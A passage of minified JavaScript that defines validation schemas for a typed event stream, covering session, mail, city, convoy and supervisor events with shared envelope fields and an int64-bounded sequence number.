9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("bead.closed"),workflow:L.optional()}),Qx=g({actor:i(),message:i().optional(),payload:hr,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("bead.created"),workflow:L.optional()}),Yx=g({actor:i(),message:i().optional(),payload:hr,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("bead.updated"),workflow:L.optional()}),Xx=g({actor:i(),message:i().optional(),payload:ci,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("city.created"),workflow:L.optional()}),e4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("city.resumed"),workflow:L.optional()}),t4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("city.suspended"),workflow:L.optional()}),n4=g({actor:i(),message:i().optional(),payload:ci,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("city.unregister_requested"),workflow:L.optional()}),r4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("controller.started"),workflow:L.optional()}),o4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("controller.stopped"),workflow:L.optional()}),i4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("convoy.closed"),workflow:L.optional()}),a4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("convoy.created"),workflow:L.optional()}),s4=g({actor:i(),message:i().optional(),payload:Kn(),run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:i(),workflow:L.optional()}),l4=g({actor:i(),message:i().optional(),payload:Qu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("events.rotated"),workflow:L.optional()}),u4=g({actor:i(),message:i().optional(),payload:ui,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.adapter_added"),workflow:L.optional()}),c4=g({actor:i(),message:i().optional(),payload:ui,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.adapter_removed"),workflow:L.optional()}),d4=g({actor:i(),message:i().optional(),payload:Mu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.bound"),workflow:L.optional()}),p4=g({actor:i(),message:i().optional(),payload:Zu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.group_created"),workflow:L.optional()}),f4=g({actor:i(),message:i().optional(),payload:qu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.inbound"),workflow:L.optional()}),m4=g({actor:i(),message:i().optional(),payload:Vu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.outbound"),workflow:L.optional()}),v4=g({actor:i(),message:i().optional(),payload:lc,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.unbound"),workflow:L.optional()}),h4=g({actor:i(),message:i().optional(),payload:nc,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("gc.store.maintenance.done"),workflow:L.optional()}),g4=g({actor:i(),message:i().optional(),payload:rc,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("gc.store.maintenance.failed"),workflow:L.optional()}),y4=g({actor:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.archived"),workflow:L.optional()}),_4=g({actor:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.deleted"),workflow:L.optional()}),w4=g({actor:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.marked_read"),workflow:L.optional()}),E4=g({actor:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.marked_unread"),workflow:L.optional()}),x4=g({actor:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.read"),workflow:L.optional()}),I4=g({actor:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.replied"),workflow:L.optional()}),S4=g({actor:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.sent"),workflow:L.optional()}),k4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("order.completed"),workflow:L.optional()}),b4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("order.failed"),workflow:L.optional()}),z4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("order.fired"),workflow:L.optional()}),T4=g({actor:i(),message:i().optional(),payload:Ku,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("pg.credential_resolved"),workflow:L.optional()}),C4=g({actor:i(),message:i().optional(),payload:Gu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("project.identity.stamped"),workflow:L.optional()}),R4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("provider.swapped"),workflow:L.optional()}),B4=g({actor:i(),message:i().optional(),payload:Ju,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("request.failed"),workflow:L.optional()}),P4=g({actor:i(),message:i().optional(),payload:Fu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("request.result.city.create"),workflow:L.optional()}),N4=g({actor:i(),message:i().optional(),payload:Uu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("request.result.city.unregister"),workflow:L.optional()}),A4=g({actor:i(),message:i().optional(),payload:oc,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("request.result.session.create"),workflow:L.optional()}),O4=g({actor:i(),message:i().optional(),payload:ec,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("request.result.session.message"),workflow:L.optional()}),j4=g({actor:i(),message:i().optional(),payload:tc,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("request.result.session.submit"),workflow:L.optional()}),$4=g({actor:i(),message:i().optional(),payload:gr,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.crashed"),workflow:L.optional()}),L4=g({actor:i(),message:i().optional(),payload:Xu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.drain_acked_with_assigned_work"),workflow:L.optional()}),D4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.draining"),workflow:L.optional()}),M4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.idle_killed"),workflow:L.optional()}),F4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.max_age_killed"),workflow:L.optional()}),U4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.quarantined"),workflow:L.optional()}),Z4=g({actor:i(),message:i().optional(),payload:gr,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.stopped"),workflow:L.optional()}),q4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.stranded"),workflow:L.optional()}),V4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.suspended"),workflow:L.optional()}),W4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.undrained"),workflow:L.optional()}),H4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.updated"),workflow:L.optional()}),K4=g({actor:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.woke"),workflow:L.optional()}),G4=g({actor:i(),message:i().optional(),payload:gr,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("session.work_query_failed"),workflow:L.optional()}),J4=g({actor:i(),message:i().optional(),payload:ic,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("supervisor.fs_pressure.skipped_tick"),workflow:L.optional()}),Q4=g({actor:i(),message:i().optional(),payload:ac,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("supervisor.shutdown_requested"),workflow:L.optional()}),Y4=g({actor:i(),message:i().optional(),payload:uc,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("worker.operation"),workflow:L.optional()}),oh=Fv("type",[Jx.extend({type:x("bead.closed")}),Qx.extend({type:x("bead.created")}),Yx.extend({type:x("bead.updated")}),Xx.extend({type:x("city.created")}),e4.extend({type:x("city.resumed")}),t4.extend({type:x("city.suspended")}),n4.extend({type:x("city.unregister_requested")}),r4.extend({type:x("controller.started")}),o4.extend({type:x("controller.stopped")}),i4.extend({type:x("convoy.closed")}),a4.extend({type:x("convoy.created")}),l4.extend({type:x("events.rotated")}),u4.extend({type:x("extmsg.adapter_added")}),c4.extend({type:x("extmsg.adapter_removed")}),d4.extend({type:x("extmsg.bound")}),p4.extend({type:x("extmsg.group_created")}),f4.extend({type:x("extmsg.inbound")}),m4.extend({type:x("extmsg.outbound")}),v4.extend({type:x("extmsg.unbound")}),h4.extend({type:x("gc.store.maintenance.done")}),g4.extend({type:x("gc.store.maintenance.failed")}),y4.extend({type:x("mail.archived")}),_4.extend({type:x("mail.deleted")}),w4.extend({type:x("mail.marked_read")}),E4.extend({type:x("mail.marked_unread")}),x4.extend({type:x("mail.read")}),I4.extend({type:x("mail.replied")}),S4.extend({type:x("mail.sent")}),k4.extend({type:x("order.completed")}),b4.extend({type:x("order.failed")}),z4.extend({type:x("order.fired")}),T4.extend({type:x("pg.credential_resolved")}),C4.extend({type:x("project.identity.stamped")}),R4.extend({type:x("provider.swapped")}),B4.extend({type:x("request.failed")}),P4.extend({type:x("request.result.city.create")}),N4.extend({type:x("request.result.city.unregister")}),A4.extend({type:x("request.result.session.create")}),O4.extend({type:x("request.result.session.message")}),j4.extend({type:x("request.result.session.submit")}),$4.extend({type:x("session.crashed")}),L4.extend({type:x("session.drain_acked_with_assigned_work")}),D4.extend({type:x("session.draining")}),M4.extend({type:x("session.idle_killed")}),F4.extend({type:x("session.max_age_killed")}),U4.extend({type:x("session.quarantined")}),Z4.extend({type:x("session.stopped")}),q4.extend({type:x("session.stranded")}),V4.extend({type:x("session.suspended")}),W4.extend({type:x("session.undrained")}),H4.extend({type:x("session.updated")}),K4.extend({type:x("session.woke")}),G4.extend({type:x("session.work_query_failed")}),J4.extend({type:x("supervisor.fs_pressure.skipped_tick")}),Q4.extend({type:x("supervisor.shutdown_requested")}),Y4.extend({type:x("worker.operation")}),s4.extend({type:x("TypedEventStreamEnvelopeCustom")})]);g({items:N(oh).nullable(),next_cursor:i().optional(),partial:Z().optional(),partial_errors:N(i()).nullish(),total:E().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const X4=g({actor:i(),city:i(),message:i().optional(),payload:hr,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("bead.closed"),workflow:L.optional()}),eI=g({actor:i(),city:i(),message:i().optional(),payload:hr,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("bead.created"),workflow:L.optional()}),tI=g({actor:i(),city:i(),message:i().optional(),payload:hr,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("bead.updated"),workflow:L.optional()}),nI=g({actor:i(),city:i(),message:i().optional(),payload:ci,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("city.created"),workflow:L.optional()}),rI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("city.resumed"),workflow:L.optional()}),oI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("city.suspended"),workflow:L.optional()}),iI=g({actor:i(),city:i(),message:i().optional(),payload:ci,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("city.unregister_requested"),workflow:L.optional()}),aI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("controller.started"),workflow:L.optional()}),sI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("controller.stopped"),workflow:L.optional()}),lI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("convoy.closed"),workflow:L.optional()}),uI=g({actor:i(),city:i(),message:i().optional(),payload:ve,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("convoy.created"),workflow:L.optional()}),cI=g({actor:i(),city:i(),message:i().optional(),payload:Kn(),run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:i(),workflow:L.optional()}),dI=g({actor:i(),city:i(),message:i().optional(),payload:Qu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("events.rotated"),workflow:L.optional()}),pI=g({actor:i(),city:i(),message:i().optional(),payload:ui,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.adapter_added"),workflow:L.optional()}),fI=g({actor:i(),city:i(),message:i().optional(),payload:ui,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.adapter_removed"),workflow:L.optional()}),mI=g({actor:i(),city:i(),message:i().optional(),payload:Mu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.bound"),workflow:L.optional()}),vI=g({actor:i(),city:i(),message:i().optional(),payload:Zu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.group_created"),workflow:L.optional()}),hI=g({actor:i(),city:i(),message:i().optional(),payload:qu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.inbound"),workflow:L.optional()}),gI=g({actor:i(),city:i(),message:i().optional(),payload:Vu,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.outbound"),workflow:L.optional()}),yI=g({actor:i(),city:i(),message:i().optional(),payload:lc,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("extmsg.unbound"),workflow:L.optional()}),_I=g({actor:i(),city:i(),message:i().optional(),payload:nc,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("gc.store.maintenance.done"),workflow:L.optional()}),wI=g({actor:i(),city:i(),message:i().optional(),payload:rc,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("gc.store.maintenance.failed"),workflow:L.optional()}),EI=g({actor:i(),city:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.archived"),workflow:L.optional()}),xI=g({actor:i(),city:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.deleted"),workflow:L.optional()}),II=g({actor:i(),city:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.marked_read"),workflow:L.optional()}),SI=g({actor:i(),city:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:i().optional(),step_id:i().optional(),subject:i().optional(),ts:O({offset:!0}),type:x("mail.marked_unread"),workflow:L.optional()}),kI=g({actor:i(),city:i(),message:i().optional(),payload:vt,run_id:i().optional(),seq:E().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 